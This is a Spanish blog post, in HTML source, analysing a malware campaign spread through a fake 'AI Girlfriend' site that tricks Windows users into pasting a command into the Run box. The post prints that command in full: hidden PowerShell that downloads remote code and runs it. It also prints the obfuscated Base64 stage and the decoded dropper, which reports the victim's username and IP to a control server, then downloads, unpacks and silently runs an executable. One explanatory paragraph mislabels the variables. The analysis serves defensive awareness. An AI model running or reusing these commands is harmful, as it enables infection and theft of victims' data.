index.html (20331B)
1 <!DOCTYPE html> 2 <html> 3 <head> 4 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> 5 <meta name="viewport" content="width=device-width, initial-scale=1" /> 6 <title>Análisis de método de propagación de malware por medio de scripting malicioso</title> 7 <link rel="icon" type="image/png" href="/favicon.png" /> 8 <link rel="stylesheet" type="text/css" href="../article.css" /> 9 </head> 10 <body> 11 <header> 12 <p class="title">Análisis de método de propagación de malware por medio de scripting malicioso</p> 13 <p class="date">15 de abril de 2025 • fjbalon</p> 14 </header> 15 <p>Mientras navegaba por Twitter me he topado con una campaña de lo más variopinta y llamativa que me he decidido desgranar y analizar con ustedes. El tweet, que no parecía promocionado, parecía anunciar una «IA», con toda la vacuidad con el que se suele usar el término, con el mensaje “Distant buoys nodded in quiet agreement”, sea lo que sea que signifique eso; y el anuncio para crear tu propia «AI Girlfriend». Desde luego tentador, ¿quién no querría una buena novIA?</p> 16 <img style="width:40%;" src="imagen1.jpeg" /> 17 <p>Pero, ¿en qué consiste realmente está novia? He accedido a la web para comprobarlo. Este es su frontend:</p> 18 <img src="imagen2.jpeg" /> 19 <p>No me he parado a ver el código HTML ni nada, no he visto si tiene estructura de contenido o si es una simple imagen siquiera. Lo que es cierto es que el sitio está lleno de código JavaScript; y al pinchar o hacer cualquier cosa con la página salta diretamente al siguiente “mensaje de error”:</p> 20 <img src="imagen3.jpeg" /> 21 <p>Con unas instrucciones la mar de raras para cualquiera que utilice regularmente un ordenador... Da por hecho, evidentemente, que estás en Microsoft Windows (claro está, un usuario de GNU/Linux no caería en algo tan tonto, espero) y te pide que presiones <kbd>Win</kbd>+<kbd>R</kbd> para abrir la ventana de ejecutar comandos de Windows, <kbd>Ctrl</kbd>+<kbd>V</kbd> para pegar lo que previamente el script de JavaScript ha copiado en tu portapapeles, y presiones ejecutar.</p> 22 <img style="width:40%;" src="imagen4.png" /> 23 <p>La vista del comando a ejecutar es <emb>tiate forse restart browser</emb>. El comando más falso que he visto nunca, ese comando no existe, además de estar muy mal escrito. Vemos el contenido real que se iría a ejecutar; el comando entero que tenemos en el portapapeles:</p> 24 <pre><code>cmd /c powershell -w hidden -c "$CHROME='i'+'e'+'x'; $SOCKET='i'+'w'+'r'; 25 $UPLOAD='https:/'+'/kutt.i'+'t/ReSeT'; &($CHROME) ((&($SOCKET) $UPLOAD -UseBasicParsing).Content)" 26 # Initiate forse restart browser</code></pre> 27 <p>Esto es otra cosa, sí es un comando de verdad. Veamos qué hace:</p> 28 <p><emb>cmd /c</emb> ejecuta un comando que consiste en lanza <emb>powershell -w hidden</emb> el intérprete de PowerShell (un equivalente, para que se me entienda, de Bash) en modo oculto, sin mostrar ventana visible. Tras <emb>-c</emb> se indica el comando. A partir de aquí se indica el script de PowerShell.</p> 29 <p><emb>$UPLOAD='i'+'e'+'x'</emb> construye la cadena </emb>"iex"</emb>, que es el alias de </emb>Invoke-Expression</emb>, un cmdlet que ejecuta una cadena como código; </emb>$CHROME='i'+'w'+'r'</emb> construye la cadena </emb>"iwr"</emb>, alias de </emb>Invoke-WebRequest</emb> usado para hacer solicitued HTTP. </emb>$SOCKET='https:/'+'/kutt.i'+'t/ReSeT'</emb> construye la URL </emb>http://kutt.it/ReSeT</emb>.</p> 30 <p>Finalmente, hace la llamada que viene construyendo y declarando con <emb>&($UPLOAD) ((&($CHROME) $SOCKET -UseBasicParsing).Content)</emb>, es decir, descarga y extrae el contenido de la respuesta HTTP de la URL y ejecuta el código usando </emb>Invoke-Expression</emb>.</p> 31 <p><emb># Initiate forse restart browser</emb> es simplemente un comentario de código, con el objetivo de aparecer en el campo de texto de la ventana de ejecución y engañar a los incautos.</p> 32 <p>El código que descarga es el siguiente:</p> 33 <pre><codeb>$tFCTUeCs=[System.Text.Encoding]::Unicode; $YqMACnAc=[Convert]::FromBase64String 34 ('JABiAHQAYQBnACAAPQAgACIAIwAxAFIAZQBzAGUAdAAiAAoAIwAgAEQAbwBVAEIAZQBDAGUAWgBRAGIAVQBlAE8AQgBOAGMACgAkAHQAZwBkACAAPQAgACIALQAxADAAMAAyADUAOQA3ADQAMAAxADMAMwA5ACIACgAkAGgAZAAgACAAPQAgACIAaAB0AHQAcABzADoALwAvAGgAawBkAGsALgBlAHYAZQBuAHQAcwAvADcAdAB2AG4ANABpAHEAcwAyADcAOABkAHEAbwAiAAoAJAB6AGwAIAAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBkAGUAdgAuAGEAegB1AHIAZQAuAGMAbwBtAC8AZABvAHcAbgB1AHAAZAB0AGUAcwAvADAAYgBlADcAOQA3ADMANgAtADYAYwBhADkALQA0ADkAMQBiAC0AYgBlADIAMQAtADAAMAAxADUAOQAzAGUANAA4AGQAOAA4AC8AXwBhAHAAaQBzAC8AZwBpAHQALwByAGUAcABvAHMAaQB0AG8AcgBpAGUAcwAvAGIAYQAwADMAYQA1AGIANgAtADIAMgAyADEALQA0AGYAMAAwAC0AYQBkADEAMgAtADEAMQBmADkAZQBhAGEANwBhADkAYgBkAC8AaQB0AGUAbQBzAD8AcABhAHQAaAA9AC8AcgB1AG4ANAA3AC4AegBpAHAAJgB2AGUAcgBzAGkAbwBuAEQAZQBzAGMAcgBpAHAAdABvAHIAJQA1AEIAdgBlAHIAcwBpAG8AbgBPAHAAdABpAG8AbgBzACUANQBEAD0AMAAmAHYAZQByAHMAaQBvAG4ARABlAHMAYwByAGkAcAB0AG8AcgAlADUAQgB2AGUAcgBzAGkAbwBuAFQAeQBwAGUAJQA1AEQAPQAwACYAdgBlAHIAcwBpAG8AbgBEAGUAcwBjAHIAaQBwAHQAbwByACUANQBCAHYAZQByAHMAaQBvAG4AJQA1AEQAPQBtAGEAaQBuACYAcgBlAHMAbwBsAHYAZQBMAGYAcwA9AHQAcgB1AGUAJgAlADIANABmAG8AcgBtAGEAdAA9AG8AYwB0AGUAdABTAHQAcgBlAGEAbQAmAGEAcABpAC0AdgBlAHIAcwBpAG8AbgA9ADUALgAwACYAZABvAHcAbgBsAG8AYQBkAD0AdAByAHUAZQAiAAoAJABwAHoAIAAgAD0AIAAiAFEAdwBlAHEAdwBlADEAMgAzADEAMgAzACIACgAKAGYAdQBuAGMAdABpAG8AbgAgAHMAdABnACAAewAKACAAIAAgACAAcABhAHIAYQBtACAAKAAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AJABzACwACgAgACAAIAAgACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACQAbQAKACAAIAAgACAAKQAKAAoAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAJABpAHAAIAA9ACAAKABJAG4AdgBvAGsAZQAtAFIAZQBzAHQATQBlAHQAaABvAGQAIAAtAFUAcgBpACAAIgBoAHQAdABwAHMAOgAvAC8AYQBwAGkALgBpAHAAaQBmAHkALgBvAHIAZwA/AGYAbwByAG0AYQB0AD0AagBzAG8AbgAiACkALgBpAHAACgAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAaQBwACAAPQAgACIAVQBuAGsAbgBvAHcAbgAiAAoAIAAgACAAIAB9AAoACgAgACAAIAAgACQAdQAgAD0AIAAkAGUAbgB2ADoAVQBTAEUAUgBOAEEATQBFAAoAIAAgACAAIAAkAHQAIAA9ACAAKABHAGUAdAAtAEQAYQB0AGUAIAAtAEYAbwByAG0AYQB0ACAAcwApAAoAIAAgACAAIAAkAHQAeAB0ACAAPQAgACIAJABiAHQAYQBnAGAAbgBbACQAcwBdACAAJABtAGAAbgBVAHMAZQByADoAIAAkAHUAYABuAEkAUAA6ACAAJABpAHAAYABuAFQAaQBtAGUAOgAgACQAdAAiAAoACgAgACAAIAAgACQAYgAgAD0AIABAAHsACgAgACAAIAAgACAAIAAgACAAYwBoAGEAdABfAGkAZAAgAD0AIAAkAHQAZwBkAAoAIAAgACAAIAAgACAAIAAgAHQAZQB4AHQAIAAgACAAIAA9ACAAJAB0AHgAdAAKACAAIAAgACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAtAEQAZQBwAHQAaAAgADMACgAKACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZAAgAC0AVQByAGkAIAAkAGgAZAAgAGAACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAtAE0AZQB0AGgAbwBkACAAUABPAFMAVAAgAGAACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAtAEgAZQBhAGQAZQByAHMAIABAAHsAIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAIAA9ACAAIgBhAHAAcABsAGkAYwBhAHQAaQBvAG4ALwBqAHMAbwBuACIAIAB9ACAAYAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC0AQgBvAGQAeQAgACQAYgAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAAfQAKAH0ACgAKAHQAcgB5ACAAewAKACAAIAAgACAAJABiAGYAIAA9ACAAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAE4AVgBJAEQASQBBAFwAVQBwAGQAYQB0AGUAUwBlAHIAdgBpAGMAZQAiAAoAIAAgACAAIAAkAG0AYQAgAD0AIAAzAAoAIAAgACAAIAAkAGQAIAA9ACAAJABmAGEAbABzAGUACgAKACAAIAAgACAAZgBvAHIAIAAoACQAaQAgAD0AIAAxADsAIAAkAGkAIAAtAGwAZQAgACQAbQBhADsAIAAkAGkAKwArACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAcgAgAD0AIAAtAGoAbwBpAG4AIAAoACgANgA1AC4ALgA5ADAAKQAgACsAIAAoADkANwAuAC4AMQAyADIAKQAgACsAIAAoADQAOAAuAC4ANQA3ACkAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAANQAgAHwAIAAlACAAewBbAGMAaABhAHIAXQAkAF8AfQApAAoAIAAgACAAIAAgACAAIAAgACQAdABmACAAPQAgACIAJABiAGYAXABUACQAcgAiAAoAIAAgACAAIAAgACAAIAAgACQAegBwACAAPQAgACIAJAB0AGYAXAB6AC4AegBpAHAAIgAKACAAIAAgACAAIAAgACAAIAAkAGUAcAAgAD0AIAAiACQAdABmAFwAYwAiAAoACgAgACAAIAAgACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAdABmACkAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAE4AZQB3AC0ASQB0AGUAbQAgAC0ASQB0AGUAbQBUAHkAcABlACAARABpAHIAZQBjAHQAbwByAHkAIAAtAFAAYQB0AGgAIAAkAHQAZgAgAC0ARgBvAHIAYwBlACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAATgBlAHcALQBJAHQAZQBtACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0AUABhAHQAaAAgACQAZQBwACAALQBGAG8AcgBjAGUAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAKAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABuAHYAIAA9ACAAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAE4ARQBUACAARgByAGEAbQBlAHcAbwByAGsAIABTAGUAdAB1AHAAXABOAEQAUABcAHYANABcAEYAdQBsAGwAIgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AUgBlAGwAZQBhAHMAZQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABuAHYAIAAtAGEAbgBkACAAJABuAHYAIAAtAGcAZQAgADMANwA4ADMAOAA5ACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAIgBTAHkAcwB0AGUAbQAuAE4AZQB0AC4ASAB0AHQAcAAiAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGMAbAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBIAHQAdABwAC4ASAB0AHQAcABDAGwAaQBlAG4AdABdADoAOgBuAGUAdwAoACkACgAjACAAYwBYAFEAcQB5AFgARQBIAGgATgBNAEsARwBkAHUARgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABjAGwALgBEAGUAZgBhAHUAbAB0AFIAZQBxAHUAZQBzAHQASABlAGEAZABlAHIAcwAuAEEAZABkACgAIgBVAHMAZQByAC0AQQBnAGUAbgB0ACIALAAgACIATQBvAHoAaQBsAGwAYQAvADUALgAwACIAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAHMAIAA9ACAAJABjAGwALgBHAGUAdABCAHkAdABlAEEAcgByAGEAeQBBAHMAeQBuAGMAKAAkAHoAbAApAC4AUgBlAHMAdQBsAHQACgAjACAAbwByAFMATgBCAGcAcwBGAEUAVgBLAHYATABIAHIAWAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACQAegBwACwAIAAkAGIAcwApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAgAGUAbABzAGUAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHcAYwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACIAVQBzAGUAcgAtAEEAZwBlAG4AdAAiACwAIAAiAE0AbwB6AGkAbABsAGEALwA1AC4AMAAiACkACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAHoAbAAsACAAJAB6AHAAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ACgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAHoAcAApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABkACAAPQAgACQAdAByAHUAZQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYgByAGUAYQBrAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIAB9ACAAYwBhAHQAYwBoACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADEACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAfQAKAAoAIAAgACAAIABpAGYAIAAoAC0AbgBvAHQAIAAkAGQAKQAgAHsACgAgACAAIAAgACAAIAAgACAAcwB0AGcAIAAiAEUAUgBSAE8AUgAiACAAIgBaAEkAUAAgAGQAbwB3AG4AbABvAGEAZAAgAGYAYQBpAGwAZQBkACIACgAgACAAIAAgACAAIAAgACAAZQB4AGkAdAAKACAAIAAgACAAfQAKAAoAIAAgACAAIABBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBGAGkAbABlAFMAeQBzAHQAZQBtAAoAIAAgACAAIABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAFoAaQBwAEYAaQBsAGUAXQA6ADoARQB4AHQAcgBhAGMAdABUAG8ARABpAHIAZQBjAHQAbwByAHkAKAAkAHoAcAAsACAAJAB0AGYAKQAKAAoAIAAgACAAIAAkAHMANwAgAD0AIABHAGUAdAAtAEMAaABpAGwAZABJAHQAZQBtACAALQBQAGEAdABoACAAJAB0AGYAIAAtAFIAZQBjAHUAcgBzAGUAIAAtAEYAaQBsAHQAZQByACAAIgA3AHoAcgAuAGUAeABlACIAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMQAKACAAIAAgACAAJABhADcAIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAdABmACAALQBSAGUAYwB1AHIAcwBlACAALQBGAGkAbAB0AGUAcgAgACIAKgAuADcAegAiACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEACgAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJABzADcAIAAtAG8AcgAgAC0AbgBvAHQAIAAkAGEANwApACAAewAKACAAIAAgACAAIAAgACAAIABzAHQAZwAgACIARQBSAFIATwBSACIAIAAiADcAegAgAG8AcgAgAGUAeAB0AHIAYQBjAHQAbwByACAAbgBvAHQAIABmAG8AdQBuAGQAIgAKACAAIAAgACAAIAAgACAAIABlAHgAaQB0AAoAIAAgACAAIAB9AAoACgAgACAAIAAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcwA3AC4ARgB1AGwAbABOAGEAbQBlACAAYAAKACAAIAAgACAAIAAgACAAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgB4ACIALAAgACIAYAAiACQAKAAkAGEANwAuAEYAdQBsAGwATgBhAG0AZQApAGAAIgAiACwAIAAiAC0AbwAkAGUAcAAiACwAIAAiAC0AcAAkAHAAegAiACwAIAAiAC0AeQAiACAAYAAKACAAIAAgACAAIAAgACAAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0AAoACgAgACAAIAAgACQAZQB4ACAAPQAgAEcAZQB0AC0AQwBoAGkAbABkAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAGUAcAAgAC0AUgBlAGMAdQByAHMAZQAgAC0ARgBpAGwAdABlAHIAIAAqAC4AZQB4AGUAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMQAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJABlAHgAKQAgAHsACgAgACAAIAAgACAAIAAgACAAcwB0AGcAIAAiAEUAUgBSAE8AUgAiACAAIgBOAG8AIAAuAGUAeABlACAAZgBvAHUAbgBkACAAYQBmAHQAZQByACAAZQB4AHQAcgBhAGMAdABpAG8AbgAiAAoAIAAgACAAIAAgACAAIAAgAGUAeABpAHQACgAgACAAIAAgAH0ACgAKACAAIAAgACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAJABlAHgALgBGAHUAbABsAE4AYQBtAGUAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAAoACgAgACAAIAAgAHMAdABnACAAIgBTAFUAQwBDAEUAUwBTACIAIAAiACIACgB9AAoAYwBhAHQAYwBoACAAewAKACAAIAAgACAAcwB0AGcAIAAiAEUAUgBSAE8AUgAiACAAIgBVAG4AZQB4AHAAZQBjAHQAZQBkACAAZgBhAGkAbAB1AHIAZQAiAAoAfQA='); 35 Invoke-Expression (${tFCTUeCs}.GetString(${YqMACnAc}))</codeb></pre> 36 <p>El código es un script de PowerShell ofuscado, por lo que lo primero que hace es indicar cómo decodificarlo.</p> 37 <p>El tipo de codificación es Unicode como vemos en <emb>$tFCTUeCs=[System.Text.Encoding]::Unicode</emb>, la cadena codificada en Base64 está en <emb>$YqMACnAc=[Convert]::FromBase64String(...)</emb> y la orden <emb>Invoke-Expression (${tFCTUeCs}.GetString(${YqMACnAc}))</emb> decodifica la cadena Base64 a texto Unicode, después la ejecuta como código PowerShell.</p> 38 <p>Al decodificar la cadena en la terminal con:</p> 39 <pre><code>echo $CADENA | base64 -d</code></pre> 40 <p>Obtenemos el script malicioso de PowerShell:</p> 41 <pre><code>$btag = "#1ReSeT" 42 # DoUBCeZQBVeOBNc 43 $tgd = "-1002597401339" 44 $hd = "https://hkdk.events/7tvn4iqs278dqo" 45 $zl = "https://dev.azure.com/downupdates/0be79736-6ca9-491b-be21-001593e48d88/_apis/git/repositories/ba03a5b6-2221-4f00-ad12-11f9eaa7a9bd/items?path=/run47.zip&versionDescriptor%5BversionOptions%5D=0&versionDescriptor%5BversionType%5D=0&versionDescriptor%5Bversion%5D=main&resolveLfs=true&%24format=octetStream&api-version=5.0&download=true" 46 $pz = "Qweqwe123123" 47 48 function stg { 49 param ( 50 [string]$s, 51 [string]$m 52 ) 53 54 try { 55 $ip = (Invoke-RestMethod -Uri "https://api.ipify.org?format=json").ip 56 } catch { 57 $ip = "Unknown" 58 } 59 60 $u = $env:USERNAME 61 $t = (Get-Date -Format s) 62 $txt = "$btag`n[$s] $m`nUser: $u`nIP: $ip`nTime: $t" 63 64 $b = @{ 65 chat_id = $tgd 66 text = $txt 67 } | ConvertTo-Json -Depth 3 68 69 try { 70 Invoke-RestMethod -Uri $hd ` 71 -Method POST ` 72 -Headers @{ "Content-Type" = "application/json" } ` 73 -Body $b | Out-Null 74 } catch {} 75 } 76 77 try { 78 $bf = "$env:APPDATA\NVIDIA\UpdateService" 79 $ma = 3 80 $d = $false 81 82 for ($i = 1; $i -le $ma; $i++) { 83 $r = -join ((65..90) + (97..122) + (48..57) | Get-Random -Count 5 | % {[char]$_}) 84 $tf = "$bf\T$r" 85 $zp = "$tf\z.zip" 86 $ep = "$tf\c" 87 88 try { 89 if (-not (Test-Path $tf)) { 90 New-Item -ItemType Directory -Path $tf -Force | Out-Null 91 New-Item -ItemType Directory -Path $ep -Force | Out-Null 92 } 93 94 $nv = (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" -ErrorAction SilentlyContinue).Release 95 if ($nv -and $nv -ge 378389) { 96 Add-Type -AssemblyName "System.Net.Http" 97 $cl = [System.Net.Http.HttpClient]::new() 98 $cl.DefaultRequestHeaders.Add("User-Agent", "Mozilla/5.0") 99 $bs = $cl.GetByteArrayAsync($zl).Result 100 [System.IO.File]::WriteAllBytes($zp, $bs) 101 } else { 102 $wc = New-Object System.Net.WebClient 103 $wc.Headers.Add("User-Agent", "Mozilla/5.0") 104 $wc.DownloadFile($zl, $zp) 105 } 106 107 if (Test-Path $zp) { 108 $d = $true 109 break 110 } 111 } catch { 112 Start-Sleep -Seconds 1 113 } 114 } 115 116 if (-not $d) { 117 stg "ERROR" "ZIP download failed" 118 exit 119 } 120 121 Add-Type -AssemblyName System.IO.Compression.FileSystem 122 [IO.Compression.ZipFile]::ExtractToDirectory($zp, $tf) 123 124 $s7 = Get-ChildItem -Path $tf -Recurse -Filter "7zr.exe" | Select-Object -First 1 125 $a7 = Get-ChildItem -Path $tf -Recurse -Filter "*.7z" | Select-Object -First 1 126 127 if (-not $s7 -or -not $a7) { 128 stg "ERROR" "7z or extractor not found" 129 exit 130 } 131 132 Start-Process -FilePath $s7.FullName ` 133 -ArgumentList "x", "`"$($a7.FullName)`"", "-o$ep", "-p$pz", "-y" ` 134 -WindowStyle Hidden -Wait 135 136 $ex = Get-ChildItem -Path $ep -Recurse -Filter *.exe | Select-Object -First 1 137 if (-not $ex) { 138 stg "ERROR" "No .exe found after extraction" 139 exit 140 } 141 142 Start-Process -FilePath $ex.FullName -WindowStyle Hidden 143 144 stg "SUCCESS" "" 145 } 146 catch { 147 stg "ERROR" "Unexpected failure" 148 }</code></pre> 149 <p>No voy a detallar línea a línea porque sería un trabajo bastante tedioso, pero realizaré una lectura vertical. Para empezar, variables de interés:</p> 150 <ul> 151 <li><emb>$btag = "#1ReSeT"</emb> no estoy seguro de qué es, parece un identificador para rastrear la ejecución o algo. </li> 152 <li><emb>$tgd = "-1002597401339"</emb> parece otro identificador, posiblemente para un chat o bot de Telegram.</li> 153 <li><emb>$hd = "https://hkdk.events/7tvn4iqs278dqo"</emb> es una URL del servidor de comando y control.</li> 154 <li>Una URL que descarga de los servidores de Azure un archivo ZIP (<emb>run47.zip</emb>): 155 <pre><codeb>$zl = "https://dev.azure.com/downupdates/0be79736-6ca9-491b-be21-001593e48d88/_apis/git/repositories/ba03a5b6-2221-4f00-ad12-11f9eaa7a9bd/items?path=/run47.zip&versionDescriptor%5BversionOptions%5D=0&versionDescriptor%5BversionType%5D=0&versionDescriptor%5Bversion%5D=main&resolveLfs=true&%24format=octetStream&api-version=5.0&download=true"</codeb></pre></li> 156 <li><emb>$pz = "Qweqwe123123"</emb> la contraseña para el ZIP.</li> 157 </ul> 158 <p>Después, la función <emb>stg</emb> recolecta informción del sistema, obtiene la dirección IP pública mediante una llamada a api.ipify.org, obtiene el nombre de usuario (<emb>$env:USERNAME</emb>) y la fecha y hora, contruye un mensaje con <emb>$btag</emb> y la información anterior y, finalmente, envía esta información como JSON a la URL del servidor de control mediante POST.</p> 159 <p>A continuación define el directorio <emb>%APPDATA%\NVIDIA\UpdateService</emb> y genera un nombre aleatorio para una subcarpeta, descarga el zip <emb>run47.zip</emb> de Azure usando e un HttpClient o WebClient, dependiendo de la versión de .NET que tenga la víctima y lo extrae en el directorio definido. No estoy entrando en cada bucle ni control de errores, ya que lo creo irrelevante para la entrada.</p> 160 <p>Una vez extraídos, ejecuta <emb>7zr.exe</emb> para extraer el <emb>7z</emb> contenido en los archivos extraídos del zip; usando además la contraseña declarada en las variables. Después invoca un ejecutable (<emb>.exe</emb>).</p> 161 <p>Conocer el propósito del ejecutable es más difícil, habría que ejecutar técnicas de ingeniería inversa para averiguar qué hace, pero podría hacer cualquier cosa: ransomware, troyano, software espía, minero de criptomonedas... Quizá si tenga tiempo me aventiure a montar una máquina virtual aislada con Windows para ejecutarlo y ver qué hace. O analizar el exe a ver si podemos averiguar parte del código y poder deducirlo.</p> 162 <p>Desde luego, nunca dejará de sorprenderme la capacidad y el ingenio humano para el transmitir elementos maliciosos, y como decía, lo peor es que todo este procedimiento de scripting es únicamente para descargar y ejecutar el malware. Es decir, ni si quiera hemos tocado la superficie del malware, sólo su método de infección y propagación.</p> 163 <p>El tweet ya ha sido eliminado, pero de su eliminación he podido ver que tenía casi 100.000 visualizaciones, es decir, 100.000 de potenciales víctimas; y sólo ha estado publicado 2 horas por una cuenta de unos 50 seguidores. Imagínense las campañas que cuenten con más recursos.</p> 164 </body> 165 </html>